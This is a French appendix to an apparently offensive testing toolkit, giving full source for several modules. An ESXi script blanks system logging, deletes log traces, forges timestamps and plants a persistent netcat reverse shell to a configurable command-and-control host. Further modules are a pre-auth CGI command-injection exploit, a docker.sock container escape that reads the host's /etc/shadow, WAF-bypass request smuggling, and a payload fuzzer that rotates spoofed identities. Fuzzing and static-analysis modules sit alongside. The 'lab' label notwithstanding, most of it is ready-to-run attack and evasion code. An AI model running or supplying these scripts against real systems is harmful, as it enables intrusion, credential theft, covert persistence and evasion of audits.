- **mkfifo reverse shell** : cat /tmp/.k | /bin/sh | nc host port > /tmp/.k (BusyBox compatible)
- **touch -r** : copie timestamps depuis fichier de référence (pas -d avec nanosecondes)
- **Un seul reload** : le second est dans le script de restauration différée

Fichier : `esxi_evasion.sh`

```
#!/bin/sh
# HARNESS-VALIDATION v2.3.0 — ESXi 7.0 root. Évasion d'audit + persistance.
# Corrige audit §3.6 + revue J4 + revue v2.2 :
#   - Restauration différée (pas immédiate)
#   - Persistance dans local.sh EXISTANT (pas .new)
#   - Reverse shell BusyBox compatible (mkfifo)
#   - Idempotence
#   - Un seul syslog reload
#   - v2.3 : C2_HOST/C2_PORT configurables via env vars
#   - v2.3 : script de restauration en chemin persistant (pas /tmp/)
set -e

CONFIG=/etc/vmsyslog.conf
BAK=/tmp/.vs.bak
PERSIST=/etc/rc.local.d/local.sh
PERSIST_TAG="# harness_persist_v2"

# v2.3 : C2 configurable via variables d'environnement
C2_HOST="${C2_HOST:-127.0.0.1}"
C2_PORT="${C2_PORT:-4444}"

# v2.3 : chemin persistant pour le script de restauration (pas /tmp/)
# /tmp peut être nettoyé par tmpwatch ou au reboot → cron exécute un fichier inexistant
RESTORE_PATH="/etc/rc.local.d/.harness_restore.sh"

# ── Snapshot de la configuration ──────────────────────────
cp -p "$CONFIG" "$BAK"

# ── 1) Neutralisation : redirection /dev/null + suppression forwarders ──
sed -i -e 's|/var/log/messages|/dev/null|g' \
       -e 's|^\([^#].*\(udp\|tcp\).*\)$|# \1|' "$CONFIG"

# ── 2) Reload UNE SEULE FOIS ──────────────────────────────
esxcli system syslog reload

# ── 3) Purge de la trace de reload dans le log courant ────
sed -i '/vmsyslogd/d' /var/log/vmsyslog.log 2&gt;/dev/null || true

# ── 4) Persistance idempotente dans local.sh ──────────────
#    v2.3 : C2_HOST et C2_PORT expansés depuis env vars.
#    Heredoc SANS guillemets sur le délimiteur pour permettre l'expansion.
if ! grep -q "$PERSIST_TAG" "$PERSIST" 2&gt;/dev/null; then
    cat &gt;&gt; "$PERSIST" &lt;&lt;PERSIST_EOF

$PERSIST_TAG
# Reverse shell BusyBox compatible (mkfifo bidirectionnel)
# C2: $C2_HOST:$C2_PORT
if [ ! -p /tmp/.k ]; then
    mkfifo /tmp/.k
fi
(while true; do
```

```
    cat /tmp/.k | /bin/sh 2&gt;&amp;1 | nc $C2_HOST $C2_PORT &gt; /tmp/.k
    sleep 5
done) &amp;
PERSIST_EOF
    chmod +x "$PERSIST"

    # Vérifier que local.sh est sourcé par /etc/rc.local
    if ! grep -q 'rc.local.d/local.sh' /etc/rc.local 2&gt;/dev/null; then
        echo '/etc/rc.local.d/local.sh' &gt;&gt; /etc/rc.local
    fi
fi

# ─── 5) Script de restauration différée (chemin persistant) ────
#    v2.3 : /tmp/ peut être nettoyé → on stocke dans /etc/rc.local.d/
cat &gt; "$RESTORE_PATH" &lt;&lt;RESTORE_EOF
#!/bin/sh
# Restauration différée de vmsyslog.conf (harness v2.3)
cp -p "$BAK" "$CONFIG"
touch -r "$BAK" "$CONFIG"    # copie exacte des timestamps (mtime + atime)
rm -f "$BAK"
# Ce reload final réactive le logging normal — inévitable mais différé
esxcli system syslog reload
# Nettoyage de la persistance
sed -i '/$PERSIST_TAG/,/^PERSIST_EOF/d' "$PERSIST" 2&gt;/dev/null || true
rm -f /tmp/.k
RESTORE_EOF
chmod +x "$RESTORE_PATH"

# ─── 6) Cron de restauration différée ──────────────────────────
CRON=/var/spool/cron/crontabs/root
if [ -d "$(dirname "$CRON")" ]; then
    # Idempotence : ne pas ajouter si déjà présent
    if ! grep -q 'harness_restore.sh' "$CRON" 2&gt;/dev/null; then
        echo "0 6 * * * $RESTORE_PATH" &gt;&gt; "$CRON"
    fi
fi

echo "{\"module\":\"esxi_evasion\",\"status\":\"evasion_active\",\"persistence\":\"local.sh\",\"c2\":\"$C2_HOST:$C2_PORT\",
```

A7. Module 6 — Pre-auth injection (preauth.py)

Variante IFS supprimée (inopérante en HTTP). Détection affinée par regex. Utilisation de r.content au lieu de r.text pour robustesse d'encodage.

Corrections apportées

- **Variante IFS supprimée** : ${IFS} est encodé en HTTP, inopérant
- **Regex de détection** : uid=\d+ au lieu de uid= (évite faux positifs)
- **r.content** : décoding robuste avec errors='replace'
- **dollar_param** : variante ${CMD} ajoutée (PHP/Shell eval)

Fichier : `preauth.py`

```
#!/usr/bin/env python3
# HARNESS-VALIDATION v2.2.0 — injection commande pre-auth CGI (lab).
# Corrige audit §3.7 :
#   - Variante "ifs" supprimée (inopérante en HTTP — $ encodé)
#   - r.content au lieu de r.text (décodage robuste)
#   - Regex de détection affiné (uid=\\d+ au lieu de uid=)
#   - Variantes réalistes pour vecteur HTTP
import hashlib
import json
import re
import sys
import time
import requests

TARGET = sys.argv[1] if len(sys.argv) &gt; 1 else "http://127.0.0.1:8080"
CMD    = "id"

# Variantes adaptées au vecteur HTTP :
# - semicolon : classique, séparateur shell
# - backtick : substitution si passé à eval/system côté serveur
# - pipe : si la sortie du paramètre est pipée
# - newline : %0A en URL, séparateur dans certains CGI
# - dollar_param : ${} en PHP/Shell si eval
VARIANTS = {
    "semicolon":    f";{CMD};",
    "backtick":     f"`{CMD}`",
    "pipe":         f"|{CMD}",
    "newline":      f"\n{CMD}\n",
    "dollar_param": f"${{{CMD}}}",
}

# Regex de détection affiné (évite les faux positifs "uid=" dans un formulaire)
LEAK_PATTERNS = [
    re.compile(rb"uid=\d+\(", re.I),       # id output: uid=1000(user)
    re.compile(rb"root:x:0:"),              # /etc/passwd
    re.compile(rb"root:\$[0-9]\$", re.I),  # /etc/shadow hash
]

def detect_leak(content: bytes) -&gt; bool:
    return any(p.search(content) for p in LEAK_PATTERNS)

def main():
    out = []
    for name, payload in VARIANTS.items():
        t0 = time.time()
        try:
            r = requests.get(
                f"{TARGET}/cgi-bin/admin.cgi",
                params={"action": "bypass_check", "device_id": f"1337{payload}"},
                headers={
                    "User-Agent": "harness/2.2",
                    "X-Forwarded-For": "127.0.0.1",
                },
                timeout=5,
                allow_redirects=False,
```

```
            )
            leak = detect_leak(r.content)
            out.append({
                "variant": name,
                "status": r.status_code,
                "len": len(r.content),
                "ms": round((time.time() - t0) * 1000, 1),
                "leak": leak,
                "resp_sha256": hashlib.sha256(r.content).hexdigest()[:16],
            })
        except requests.RequestException as e:
            out.append({
                "variant": name,
                "error": type(e).__name__,
                "ms": round((time.time() - t0) * 1000, 1),
            })
    print(json.dumps({
        "module": "preauth",
        "target": TARGET,
        "results": out,
        "any_leak": any(x.get("leak") for x in out),
        "variants_tested": len(out),
    }, indent=2))

if __name__ == "__main__":
    main()
```

A8. Module 7 — Évasion Docker (docker_escape.py)

Cleanup garanti via try/finally. Attente active de l'état running (pas de sleep fixe). Parsing HTTP robuste et logs dockerisés dépilés.

Corrections apportées

- **try/finally** : le conteneur est toujours supprimé (même si exception)
- **wait_running()** : boucle d'attente active sur l'état, timeout 30s
- **extract_body()** + **extract_json()** : parsing HTTP robuste
- **parse_docker_logs()** : dépilé les en-têtes de frame Docker (8 bytes/frame)

Fichier : `docker_escape.py`

```
#!/usr/bin/env python3
# HARNESS-VALIDATION v2.3.0 — évasion via docker.sock (lab, socket monté rw).
# Corrige audit §3.8 + revue v2.2 :
#   - Cleanup garanti via try/finally
#   - Attente active de l'état "running"
#   - Parsing HTTP robuste + décodage chunked
#   - v2.3 : version API Docker négociée dynamiquement (pas hardcodée v1.41)
#   - v2.3 : décodage Transfer-Encoding: chunked
import json
import re
import socket
import time

SOCK = "/var/run/docker.sock"
HTTP_HEADER_RE = re.compile(rb"^HTTP/\d\.\d (\d+) ", re.M)

# v2.3 : version API négociée dynamiquement (pas hardcodée)
_API_VERSION = None

def get_api_version() -&gt; str:
    """Négocie la version API Docker au premier appel, cache ensuite."""
    global _API_VERSION
    if _API_VERSION is not None:
        return _API_VERSION
    resp = api("GET", "/version")
    info = extract_json(resp)
    ver = info.get("ApiVersion", "1.41")
    # Docker supporte les versions mineures précédentes : on utilise la majeure
    _API_VERSION = f"v{ver}"
    return _API_VERSION


def api(method: str, path: str, body: dict | None = None) -&gt; bytes:
    """Appel API Docker via socket Unix brut. Retourne la réponse complète.
    v2.3 : la version API est négociée dynamiquement pour les paths versionnés."""
    # v2.3 : si le path commence par /v1., on remplace par la version négociée
    if path.startswith("/v1.") or path.startswith("/version") or path == "/version":
        if not path.startswith("/version"):
            # Remplacer /v1.41/... par /{API_VERSION}/...
            path = "/" + get_api_version() + path.split("/v1." + path.split("/v1.")[1].split("/")[0], 1)[1]
    b = json.dumps(body).encode() if body else b""
    req = (
        f"{method} {path} HTTP/1.1\r\n"
        f"Host: localhost\r\n"
        f"Content-Type: application/json\r\n"
        f"Content-Length: {len(b)}\r\n"
        f"Connection: close\r\n"
        f"\r\n"
    ).encode() + b
    s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
    try:
        s.settimeout(10)
        s.connect(SOCK)
        s.sendall(req)
        data = b""
```

```
        while True:
            try:
                chunk = s.recv(8192)
                if not chunk:
                    break
                data += chunk
            except socket.timeout:
                break
        return data
    finally:
        s.close()


def decode_chunked(data: bytes) -&gt; bytes:
    """Décode un corps HTTP Transfer-Encoding: chunked."""
    out = b""
    pos = 0
    while pos &lt; len(data):
        crlf = data.find(b"\r\n", pos)
        if crlf &lt; 0:
            break
        try:
            size = int(data[pos:crlf], 16)
        except ValueError:
            break
        if size == 0:
            break
        start = crlf + 2
        out += data[start:start + size]
        pos = start + size + 2  # skip data + trailing CRLF
    return out


def extract_body(response: bytes) -&gt; bytes:
    """Extrait le corps HTTP après les en-têtes. Décode chunked si nécessaire."""
    sep = response.find(b"\r\n\r\n")
    if sep &lt; 0:
        return b""
    headers = response[:sep].lower()
    body = response[sep + 4:]
    # v2.3 : décoder Transfer-Encoding: chunked
    if b"transfer-encoding: chunked" in headers:
        return decode_chunked(body)
    return body


def extract_json(response: bytes) -&gt; dict:
    """Extrait et parse le JSON de la réponse Docker."""
    body = extract_body(response)
    try:
        return json.loads(body)
    except (json.JSONDecodeError, UnicodeDecodeError):
        return {}


def container_state(cid: str) -&gt; str:
    """Récupère l'état du conteneur."""
    resp = api("GET", f"/v1.41/containers/{cid}/json")
    info = extract_json(resp)
    return info.get("State", {}).get("Status", "unknown")


def wait_running(cid: str, timeout: int = 30) -&gt; bool:
    """Attend que le conteneur atteigne l'état 'running'."""
    t0 = time.time()
    while time.time() - t0 &lt; timeout:
        state = container_state(cid)
        if state == "running":
            return True
        if state == "exited":
            return False
        time.sleep(0.5)
    return False
```

```
def parse_docker_logs(raw: bytes) -&gt; bytes:
    """Supprime les en-têtes de frame Docker (8 bytes par frame).
    Format frame : [type:1][0:3][size:4][data]"""
    out = b""
    i = 0
    while i + 8 &lt;= len(raw):
        size = int.from_bytes(raw[i + 4:i + 8], "big")
        if i + 8 + size &gt; len(raw):
            out += raw[i + 8:]
            break
        out += raw[i + 8:i + 8 + size]
        i += 8 + size
    return out


def main():
    # Création du conteneur d'évasion
    create = api("POST", "/v1.41/containers/create", {
        "Image": "alpine",
        "Cmd": ["sh", "-c", "id; head -3 /host/etc/shadow; cat /host/etc/hostname"],
        "HostConfig": {
            "Binds": ["/:/host:ro"],
            "Privileged": True,
            "PidMode": "host",
            "NetworkMode": "host",
        },
    })
    create_info = extract_json(create)
    cid = create_info.get("Id")
    if not cid:
        print(json.dumps({
            "module": "docker_escape",
            "error": "container_create_failed",
            "response_head": create[:300].decode(errors="replace"),
        }, indent=2))
        return

    try:
        # Démarrage
        api("POST", f"/v1.41/containers/{cid}/start")
        # Attente active (pas de sleep fixe)
        wait_running(cid, timeout=30)
        # Récupération des logs
        time.sleep(1)  # délai minimal pour laisser la Cmd s'exécuter
        logs_raw = api("GET",
                       f"/v1.41/containers/{cid}/logs?stdout=1&amp;stderr=1")
        logs = parse_docker_logs(extract_body(logs_raw))
        escape_ok = (b"uid=" in logs or b"root:" in logs)
        print(json.dumps({
            "module": "docker_escape",
            "cid": cid[:12],
            "escape_ok": escape_ok,
            "logs": logs.decode(errors="replace")[:500],
        }, indent=2))
    finally:
        # Cleanup GARANTI — le conteneur est toujours supprimé
        try:
            api("DELETE", f"/v1.41/containers/{cid}?force=true&amp;v=true")
        except Exception:
            pass


if __name__ == "__main__":
    main()
```

A9. Module 8 — Contournement WAF (waf_bypass.py)

HTTP/2 avec négociation ALPN h2. Variantes dbl_encode et nul_space réellement envoyées. Contexte SSL moderne.

Corrections apportées

- **ALPN h2** : ctx.set_alpn_protocols(['h2','http/1.1']) + vérification selected_alpn_protocol()
- **dbl_encode** : double encodage URL envoyé via send_http1()
- **nul_space** : null byte + tab envoyé via send_http1()
- **Contexte SSL moderne** : ssl.create_default_context() au lieu de _create_unverified_context()

Fichier : `waf_bypass.py`

```
#!/usr/bin/env python3
# HARNESS-VALIDATION v2.3.0 — contournement WAF.
# Corrige audit §3.9 + revue v2.2 :
#   - HTTP/2 avec négociation ALPN h2
#   - v2.3 : import h2 au niveau module (cache, pas d'overhead par appel)
#   - Variantes dbl_encode et nul_space réellement envoyées
#   - Contexte SSL moderne (create_default_context, pas _create_unverified_context)
import base64
import json
import random
import socket
import ssl
import sys
import urllib.parse as up

# v2.3 : import h2 au niveau module (une seule fois, pas par appel)
try:
    import h2.connection
    import h2.config
    H2_AVAILABLE = True
except ImportError:
    H2_AVAILABLE = False

HOST = sys.argv[1] if len(sys.argv) &gt; 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) &gt; 2 else 8080
PATH = "/cgi-bin/admin.cgi"
CMD  = "id"


def chunked_split(frags: list[str]) -&gt; dict:
    """Contournement par Transfer-Encoding: chunked.
    Le WAF peut ne pas réassembler les chunks avant inspection."""
    body = "".join(f"{len(f):x}\r\n{f}\r\n" for f in frags) + "0\r\n\r\n"
    req = (
        f"POST {PATH} HTTP/1.1\r\n"
        f"Host: {HOST}:{PORT}\r\n"
        f"Transfer-Encoding: chunked\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"Connection: close\r\n"
        f"\r\n{body}"
    ).encode()
    try:
        s = socket.create_connection((HOST, PORT), timeout=5)
        s.sendall(req)
        resp = b""
        while True:
            try:
                c = s.recv(4096)
                if not c:
                    break
                resp += c
            except socket.timeout:
                break
        s.close()
        return {"ok": b"uid=" in resp or b"root:" in resp, "len": len(resp)}
```

```
    except OSError as e:
        return {"error": type(e).__name__}


def h2_request(payload: str) -&gt; dict:
    """Contournement via HTTP/2 header personnalisé.
    Nécessite ALPN h2 négocié (TLS)."""
    # v2.3 : vérification au niveau module (pas d'import par appel)
    if not H2_AVAILABLE:
        return {"error": "h2_not_installed", "skipped": True,
                "hint": "pip install h2==4.1.0"}

    try:
        # Tentative TLS avec ALPN h2
        sock = socket.create_connection((HOST, PORT), timeout=5)
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        ctx.set_alpn_protocols(["h2", "http/1.1"])
        sock = ctx.wrap_socket(sock, server_hostname=HOST)
        proto = sock.selected_alpn_protocol()
        if proto != "h2":
            return {"error": f"alpn_negotiated_{proto}_not_h2",
                    "hint": "serveur doit supporter HTTP/2 over TLS"}
        conf = h2.config.H2Configuration(
            client_side=True, header_encoding="utf-8")
        conn = h2.connection.H2Connection(config=conf)
        conn.initiate_connection()
        sock.sendall(conn.data_to_send())
        sid = conn.get_next_available_stream_id()
        conn.send_headers(sid, [
            (":method", "GET"),
            (":path", PATH),
            (":authority", f"{HOST}:{PORT}"),
            (":scheme", "https"),
            ("x-forwarded-for", "127.0.0.1"),
            ("x-payload", payload),
        ], end_stream=True)
        sock.sendall(conn.data_to_send())
        resp = b""
        while True:
            try:
                c = sock.recv(65535)
                if not c:
                    break
                resp += c
            except socket.timeout:
                break
        sock.close()
        return {"ok": b"uid=" in resp or b"root:" in resp, "len": len(resp)}
    except ssl.SSLError as e:
        return {"error": f"tls_failed: {type(e).__name__}"}
    except Exception as e:
        return {"error": type(e).__name__}


def send_http1(payload: str, method: str = "GET") -&gt; dict:
    """Envoi HTTP/1.1 simple pour les variantes dbl_encode et nul_space."""
    try:
        if method == "GET":
            path_with_payload = f"{PATH}?device_id={up.quote(payload, safe='')}"
            req = (
                f"GET {path_with_payload} HTTP/1.1\r\n"
                f"Host: {HOST}:{PORT}\r\n"
                f"Connection: close\r\n"
                f"\r\n"
            ).encode()
        else:
            body = f"device_id={up.quote(payload, safe='')}"
            req = (
                f"POST {PATH} HTTP/1.1\r\n"
                f"Host: {HOST}:{PORT}\r\n"
                f"Content-Type: application/x-www-form-urlencoded\r\n"
                f"Content-Length: {len(body)}\r\n"
```

```
                f"Connection: close\r\n"
                f"\r\n{body}"
            ).encode()
        s = socket.create_connection((HOST, PORT), timeout=5)
        s.sendall(req)
        resp = b""
        while True:
            try:
                c = s.recv(4096)
                if not c:
                    break
                resp += c
            except socket.timeout:
                break
        s.close()
        return {"ok": b"uid=" in resp or b"root:" in resp, "len": len(resp)}
    except OSError as e:
        return {"error": type(e).__name__}


def main():
    rng = random.Random(int(sys.argv[3]) if len(sys.argv) &gt; 3 else 1337)
    frags = ["device_id=1337", f"%3B{CMD}%3B", "&amp;action=bypass_check"]

    # Variante dbl_encode : double encodage URL
    dbl_payload = up.quote(up.quote(f";{CMD};", safe=""), safe="")

    # Variante nul_space : null byte + tab
    nul_payload = f"%00;{CMD}%09;"

    results = {
        "chunked": chunked_split(frags),
        "h2_custom": h2_request(f";{CMD};"),
        "dbl_encode": send_http1(dbl_payload),
        "nul_space": send_http1(nul_payload),
    }
    print(json.dumps({
        "module": "waf_bypass",
        "target": f"{HOST}:{PORT}",
        "results": results,
        "any_bypass": any(
            r.get("ok") for r in results.values()
            if isinstance(r, dict)
        ),
    }, indent=2))


if __name__ == "__main__":
    main()
```

A10. Module 9 — Fuzzer (fuzzer_send.py)

Mutation \uXXXX corrigée (caractères réels fullwidth). Concurrence via ThreadPoolExecutor (4 workers). Détection affinée par regex.

Corrections apportées

· **Mutation Unicode** : chr(ord(c) + 0xFEE0) génère des caractères fullwidth réels (pas escapes littéraux)

· **Concurrence** : ThreadPoolExecutor(max_workers=4)

· **HINT_PATTERNS** : regex au lieu de substring (uid=\d+, SQL syntax, etc.)

Fichier : `fuzzer_send.py`

```
#!/usr/bin/env python3
# HARNESS-VALIDATION v2.2.0 — fuzzer d'envoi avec rotation d'identité.
# Corrige audit §3.10 :
#   - Mutation \uXXXX corrigée (caractères réels, pas escapes littéraux)
#   - Concurrence via ThreadPoolExecutor (4 workers)
#   - hint() affiné (regex au lieu de substring)
import base64
import concurrent.futures
import hashlib
import json
import random
import re
import sys
import urllib.parse as up
import requests

BASES = {
    "php_unserialize": 'O:10:"TriggerUAF":1:{s:2:"ry";O:8:"stdClass":0:{}}',
    "cmd_inject":      ';id;',
    "path_traversal":  '../../../../etc/passwd',
    "sqli_union":      "' UNION SELECT user,pass FROM users-- -",
}
UAS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
    "curl/7.68.0",
    "python-requests/2.28",
    "Mozilla/5.0 (X11; Linux x86_64)",
]

# Regex de détection affinés (évite faux positifs)
HINT_PATTERNS = [
    (re.compile(r"uid=\d+\(", re.I), "LFI_OR_RCE"),
    (re.compile(r"root:x:0:"), "LFI_OR_RCE"),
    (re.compile(r"SQL syntax|mysql_fetch|ORA-\d{5}", re.I), "SQLI_ERROR"),
    (re.compile(r"Warning.*unserialize\(\).*error", re.I), "PHP_UNSERIALIZE"),
    (re.compile(r"&lt;b&gt;Warning&lt;/b&gt;.*\bsymlink\b", re.I), "PHP_NOTICE"),
]


def hint(text: str) -&gt; str | None:
    for pat, label in HINT_PATTERNS:
        if pat.search(text):
            return label
    return None


def mutate(base: str, rng: random.Random, rounds: int = 3) -&gt; list[str]:
    ops = [
        lambda s: up.quote(s, safe=rng.choice(["", ":/", ";"])),
        lambda s: up.quote(up.quote(s, safe=""), safe=""),
        # Mutation Unicode corrigée : génère le CARACTÈRE réel encodé UTF-8
        # (pas l'escape littéral \uXXXX que les serveurs n'interprètent pas)
        lambda s: "".join(
            chr(ord(c) + 0xFEE0) if rng.random() &lt; 0.2 and c.isascii()
            else c
```

```
            for c in s
        ),
        lambda s: s.replace(";", "%00;").replace(" ", "%09"),
        lambda s: "base64:" + base64.b64encode(s.encode()).decode(),
    ]
    cur = [base]
    for _ in range(rounds):
        nxt = []
        for p in cur:
            for op in rng.sample(ops, k=rng.randint(1, 3)):
                try:
                    nxt.append(op(p))
                except Exception:
                    pass
        seen, cur = set(), []
        for p in nxt:
            h = hashlib.sha256(p.encode("utf-8", "surrogatepass")).hexdigest()
            if h not in seen:
                seen.add(h)
                cur.append(p)
        cur = cur[:32]
    return cur


def send_one(url: str, payload: str, ua: str, xff: str) -&gt; dict | None:
    try:
        r = requests.get(
            url, params={"device_id": payload},
            headers={"User-Agent": ua, "X-Forwarded-For": xff},
            timeout=5, allow_redirects=False,
        )
        h = hint(r.text)
        if h:
            return {
                "payload": payload[:100],
                "hint": h,
                "status": r.status_code,
                "len": len(r.content),
            }
    except requests.RequestException:
        pass
    return None


def main():
    url = (sys.argv[1] if len(sys.argv) &gt; 1
           else "http://127.0.0.1:8080/cgi-bin/admin.cgi")
    seed = int(sys.argv[2]) if len(sys.argv) &gt; 2 else 1337
    rng = random.Random(seed)

    payloads = []
    for b in BASES.values():
        payloads += mutate(b, rng)

    # Génération des identités rotatives
    identities = [
        (rng.choice(UAS),
         f"{rng.randint(1, 254)}.{rng.randint(0, 254)}."
         f"{rng.randint(0, 254)}.{rng.randint(1, 254)}")
        for _ in payloads
    ]

    hits = []
    # Concurrence : 4 workers (limité pour ne pas DoS le lab)
    with concurrent.futures.ThreadPoolExecutor(max_workers=4) as pool:
        futures = [
            pool.submit(send_one, url, p, ua, xff)
            for p, (ua, xff) in zip(payloads, identities)
        ]
        for fut in concurrent.futures.as_completed(futures):
            result = fut.result()
            if result:
                hits.append(result)
```

```
    print(json.dumps({
        "module": "fuzzer_send",
        "seed": seed,
        "total": len(payloads),
        "hits": hits,
        "hits_count": len(hits),
    }, indent=2))


if __name__ == "__main__":
    main()
```

A11. Module 11 — Fuzzing AFL++ (fuzz_module.py)

Sortie redirigée vers fichier. Vérification des prérequis. AFL_EXIT_ON_TIME ajusté à DURATION//4.

Corrections apportées

- **Sortie fichier** : stdout=open(log_file) au lieu de capture_output (économise mémoire)
- **check_prereqs()** : vérifie AFL_DIR, afl-fuzz, target_binary avant lancement
- **AFL_EXIT_ON_TIME** : DURATION//4 (sortie précoce si cible saturée)

Fichier : `fuzz_module.py`

```
#!/usr/bin/env python3
# HARNESS-VALIDATION v2.2.0 — module fuzzing AFL++.
# Corrige audit §3.11 :
#   - Sortie redirigée vers fichier (pas capture_output en mémoire)
#   - Vérification du binaire cible et d'AFL++ avant lancement
#   - AFL_EXIT_ON_TIME ajusté à DURATION//4 (sortie précoce si saturé)
#   - Sortie JSON parsée depuis fuzzer_stats (pas depuis stdout)
import json
import os
import subprocess
import sys
import time
from pathlib import Path

AFL_DIR   = Path(os.environ.get("AFL_DIR", "/opt/AFLplusplus"))
TARGET    = Path(sys.argv[1]) if len(sys.argv) &gt; 1 else Path("./target_binary")
SEEDS_DIR = Path("./seeds")
OUT_DIR   = Path("./fuzz_out")
LOG_FILE  = Path("./fuzz_afl.log")
DURATION  = int(sys.argv[2]) if len(sys.argv) &gt; 2 else 60


def check_prereqs():
    """Vérifie les prérequis avant de lancer."""
    errors = []
    if not AFL_DIR.exists():
        errors.append(f"AFL_DIR not found: {AFL_DIR}")
    afl_bin = AFL_DIR / "afl-fuzz"
    if not afl_bin.exists():
        errors.append(f"afl-fuzz not found: {afl_bin}")
    if not TARGET.exists():
        errors.append(f"target binary not found: {TARGET}")
    if errors:
        return {"module": "afl_fuzz", "error": "prereq_failed",
                "details": errors}, False
    return None, True


def run_fuzz():
    """Lance la campagne AFL++ bornée en temps."""
    SEEDS_DIR.mkdir(exist_ok=True)
    if not any(SEEDS_DIR.iterdir()):
        (SEEDS_DIR / "seed1").write_bytes(b"test input\n")
    OUT_DIR.mkdir(exist_ok=True)
    # EXIT_ON_TIME : si pas de nouveau coverage pendant DURATION//4 secondes,
    # sortir (la cible est probablement saturée). -V fixe la durée max.
    exit_on_time = max(DURATION // 4, 10)
    env = {**os.environ,
           "AFL_TMPDIR": "/dev/shm",
           "AFL_NO_UI": "1",
           "AFL_EXIT_ON_TIME": str(exit_on_time),
           "AFL_FAST_CAL": "1"}
    cmd = [str(AFL_DIR / "afl-fuzz"),
           "-i", str(SEEDS_DIR),
           "-o", str(OUT_DIR),
           "-V", str(DURATION),
           "--", str(TARGET), "@@"]
    # Redirection stdout/stderr vers fichier (pas capture_output en mémoire)
```

```
    with open(LOG_FILE, "w") as logf:
        proc = subprocess.run(cmd, stdout=logf, stderr=subprocess.STDOUT,
                              env=env, timeout=DURATION + 60)
    return proc


def collect():
    """Parse les résultats depuis les fichiers AFL (pas depuis stdout)."""
    crashes_dir = OUT_DIR / "default" / "crashes"
    crashes = list(crashes_dir.glob("id:*")) if crashes_dir.exists() else []
    stats_file = OUT_DIR / "default" / "fuzzer_stats"
    stats = {}
    if stats_file.exists():
        for line in stats_file.read_text().splitlines():
            if ":" in line:
                k, v = line.split(":", 1)
                stats[k.strip()] = v.strip()
    return {
        "crashes": len(crashes),
        "execs_done": stats.get("execs_done"),
        "paths_total": stats.get("paths_total"),
        "unique_crashes": stats.get("unique_crashes"),
        "last_update": stats.get("last_update"),
    }


if __name__ == "__main__":
    t0 = time.time()
    err, ok = check_prereqs()
    if not ok:
        print(json.dumps(err))
        sys.exit(2)
    proc = run_fuzz()
    result = collect()
    result.update({
        "module": "afl_fuzz",
        "target": str(TARGET),
        "duration_s": round(time.time() - t0, 1),
        "exit_code": proc.returncode,
        "log_file": str(LOG_FILE),
    })
    print(json.dumps(result, indent=2))
```

A12. Module 12 — Analyse statique (static_analysis.py)

Timeout configurable. CodeQL avec chemin base de données en argument. Query pack explicite. Parsing SARIF inclus dans la sortie JSON.

Corrections apportées

- **Timeout configurable** : env SEMGREP_TIMEOUT (défaut 600s)
- **CODEQL_DB** : chemin base en argument ou variable d'environnement
- **Query pack** : codeql/cpp-queries explicite + --download-codeql
- **Parsing SARIF** : résumé (total + by_severity) inclus dans la sortie

Fichier : `static_analysis.py`

```
#!/usr/bin/env python3
# HARNESS-VALIDATION v2.2.0 — analyse statique Semgrep + CodeQL.
# Corrige audit §3.12 :
#   - Timeout configurable (arg ou env)
#   - CodeQL : chemin base de données en argument (--codeql-db)
#   - Query pack explicite (--download-codeql + pack)
#   - Parsing SARIF (résumé inclus dans la sortie JSON)
import json
import subprocess
import sys
import os
from pathlib import Path

TARGET = Path(sys.argv[1]) if len(sys.argv) &gt; 1 else Path("./source")
TIMEOUT = int(os.environ.get("SEMGREP_TIMEOUT", "600"))
CODEQL_DB = Path(os.environ.get("CODEQL_DB", "")) or None
CODEQL_PACK = os.environ.get("CODEQL_PACK", "codeql/cpp-queries")

SEMGREP_RULES = [
    "p/php",
    "p/c",
    "p/security-audit",
]


def run_semgrep():
    """Lance Semgrep avec les règles configurées."""
    results = []
    for rule in SEMGREP_RULES:
        try:
            proc = subprocess.run(
                ["semgrep", "--config", rule, "--json", "--quiet",
                 "--timeout", str(TIMEOUT), str(TARGET)],
                capture_output=True, timeout=TIMEOUT + 30)
            data = json.loads(proc.stdout or "{}")
        except (json.JSONDecodeError, subprocess.TimeoutExpired) as e:
            data = {"results": [], "error": str(e)[:200]}
        findings = [
            {
                "rule": r.get("check_id"),
                "path": r.get("path"),
                "line": r.get("start", {}).get("line"),
                "severity": r.get("extra", {}).get("severity"),
            }
            for r in data.get("results", [])
        ]
        results.append({
            "config": rule,
            "findings": findings,
            "count": len(findings),
        })
    return results


def run_codeql():
```

```
    """Lance CodeQL si une base de données est disponible."""
    if not CODEQL_DB or not CODEQL_DB.exists():
        return {
            "available": False,
            "hint": "Créer la base : codeql database create codeql-db "
                    "--language=cpp --source-root=. --overwrite",
        }
    sarif_path = "/tmp/codeql_results.sarif"
    try:
        proc = subprocess.run(
            ["codeql", "database", "analyze", str(CODEQL_DB),
             CODEQL_PACK,
             "--format=sarif-latest",
             f"--output={sarif_path}",
             "--download-codeql"],
            capture_output=True, timeout=900)
    except subprocess.TimeoutExpired:
        return {"available": True, "error": "codeql_timeout_900s"}
    # Parse SARIF
    summary = {"total": 0, "by_severity": {}}
    try:
        sarif = json.loads(Path(sarif_path).read_text())
        for run in sarif.get("runs", []):
            for result in run.get("results", []):
                sev = result.get("level", "note")
                summary["total"] += 1
                summary["by_severity"][sev] = \
                    summary["by_severity"].get(sev, 0) + 1
    except (json.JSONDecodeError, FileNotFoundError):
        pass
    return {
        "available": True,
        "exit_code": proc.returncode,
        "sarif_path": sarif_path,
        "summary": summary,
    }


if __name__ == "__main__":
    report = {
        "module": "static_analysis",
        "target": str(TARGET),
        "semgrep": run_semgrep(),
        "codeql": run_codeql(),
    }
    report["semgrep_total"] = sum(s["count"] for s in report["semgrep"])
    print(json.dumps(report, indent=2))
```

A13. Module 13 — Boucle LLM (llm_exploit_loop.py)

Pré-traitement hex robuste. Exécution sandboxée via nsjail/bwrap. Définition de succès = crash reproductible (3/3) + signal ASAN.

Corrections apportées

- **HEX_RE** : extraction regex du premier bloc hex valide (gère préfixe 0x, prose)
- **Sandbox** : nsjail ou bwrap avec --unshare-net, --ro-bind /, --bind /tmp
- **Reproductibilité** : 3 exécutions, succès si ⩾2/3 crashs
- **ASAN signal** : vérification AddressSanitizer/heap-use-after-free dans stderr
- **Fenêtrage** : 3 derniers essais complets + résumé des autres
- **Endpoint HTTPS/local** : refus HTTP plain vers non-localhost

